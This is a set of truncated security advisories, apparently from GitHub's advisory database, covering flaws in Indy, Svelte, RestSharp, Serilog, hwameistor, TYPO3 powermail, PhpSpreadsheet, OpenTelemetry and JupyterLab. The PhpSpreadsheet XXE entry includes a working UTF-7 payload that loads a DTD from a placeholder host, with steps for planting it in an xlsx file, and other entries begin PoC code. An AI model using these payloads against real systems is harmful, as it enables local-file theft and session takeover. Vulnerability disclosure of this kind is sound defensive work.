Source
ghsa
# Name Updating a DID with a nym transaction will be written to the ledger if neither ROLE or VERKEY are being changed, regardless of sender. # Description A malicious DID with no particular role can ask an update for another DID (but cannot modify its verkey or role). This is bad because: 1. Any DID can write a nym transaction to the ledger (i.e., any DID can spam the ledger with nym transactions). 1. Any DID can change any other DID's alias. 1. The update transaction modifies the ledger metadata associated with a DID. # Expected vs Observed We expect that if a DID (with no role) wants to update another DID (not its own or one it is the endorser), then the nodes should refuse the request. We can see that requirements in the [Indy default auth_rules](https://github.com/hyperledger/indy-node/blob/master/docs/source/auth_rules.md) in Section "Who is the owner" in the last point of "Endorser using". We observe that with a normal DID, we can update the field `from` for a random DID, ...
### Summary A potential XSS vulnerability exists in Svelte for versions prior to 4.2.19. ### Details Svelte improperly escapes HTML on server-side rendering. It converts strings according to the following rules: - If the string is an attribute value: - `"` -> `"` - `&` -> `&` - Other characters -> No conversion - Otherwise: - `<` -> `<` - `&` -> `&` - Other characters -> No conversion The assumption is that attributes will always stay as such, but in some situation the final DOM tree rendered on browsers is different from what Svelte expects on server-side rendering. This may be leveraged to perform XSS attacks. More specifically, this can occur when injecting malicious content into an attribute within a `<noscript>` tag. ### PoC A vulnerable page (`+page.svelte`): ```html <script> import { page } from "$app/stores" // user input let href = $page.url.searchParams.get("href") ?? "https://example.com"; </script> <noscript> <a href={href}...
### Summary The second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`. ### Details The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: <https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32> This method does not check for CRLF characters in the header value. This means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. ### PoC The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inse...
Serilog (before v2.1.0) contains a Client IP Spoofing vulnerability, which allows attackers to falsify their IP addresses in log files by specifying an arbitrary IP as a value of X-Forwarded-For or Client-Ip headers while performing HTTP requests. It is not possible to configure Serilog.Enrichers.ClientInfo to not trust the X-Forwarded-For header.
### Impact _What kind of vulnerability is it? Who is impacted?_ This ClusterRole has * verbs of * resources. If a malicious user can access the worker node which has hwameistor's deployment, he/she can abuse these excessive permissions to do whatever he/she likes to the whole cluster, resulting in a cluster-level privilege escalation. ### Patches _Has the problem been patched? What versions should users upgrade to?_ >= v0.14.6 ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ Update and Limit the ClusterRole using [security-role](https://github.com/hwameistor/hwameistor/blob/main/helm/hwameistor/templates/clusterrole.yaml). ### References _Are there any links users can visit to find out more?_ issues: https://github.com/hwameistor/hwameistor/issues/1457 https://github.com/hwameistor/hwameistor/issues/1460 also reported by users via mails: [sparkEchooo](https://github.com/sparkEchooo), [younaman](https://github.com/younaman)
An issue was discovered in powermail extension through 12.3.5 for TYPO3. It fails to validate the mail parameter of the confirmationAction, resulting in Insecure Direct Object Reference (IDOR). An unauthenticated attacker can use this to display the user-submitted data of all forms persisted by the extension. This can only be exploited when the extension is configured to save submitted form data to the database (`plugin.tx_powermail.settings.db.enable=1`), which however is the default setting of the extension. The fixed versions are 7.5.0, 8.5.0, 10.9.0, and 12.4.0.
### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` to ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use mi...
### Summary `\PhpOffice\PhpSpreadsheet\Writer\Html` doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page. ### PoC Example target script: ``` <?php require 'vendor/autoload.php'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(__DIR__ . '/book.xlsx'); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` Save this file in the same directory: [book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx) Open index.php in a web browser. An alert should be displayed. ### Impact Full takeover of the session of users viewing spreadsheet files as HTML.
### Summary OpenTelemetry Collector module [`awsfirehosereceiver`](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver) allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. [Firehose sets the header](https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html) `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**. ### Impact Only OpenTelemetry Collector users configured with the “[alpha](https://github.com/open-telemetry/opentelemetry-collector#alpha)” `awsfirehosereceiver` module are affected. This module was [added](https://github.com/open-telemetry/opentelemetry-collector-...
### Impact The vulnerability depends on user interaction by opening a malicious notebook with Markdown cells, or Markdown file using JupyterLab preview feature. A malicious user can access any data that the attacked user has access to as well as perform arbitrary requests acting as the attacked user. ### Patches JupyterLab v3.6.8, v4.2.5 and Jupyter Notebook v7.2.2 were patched. ### Workarounds There is no workaround for the underlying DOM Clobbering susceptibility. However, select plugins can be disabled on deployments which cannot update in a timely fashion to minimise the risk. These are: - `@jupyterlab/mathjax-extension:plugin` - users will loose ability to preview mathematical equations - `@jupyterlab/markdownviewer-extension:plugin` - users will loose ability to open Markdown previews - `@jupyterlab/mathjax2-extension:plugin` (if installed with optional `jupyterlab-mathjax2` package) - an older version of the mathjax plugin for JupyterLab 4.x To disable these extensions r...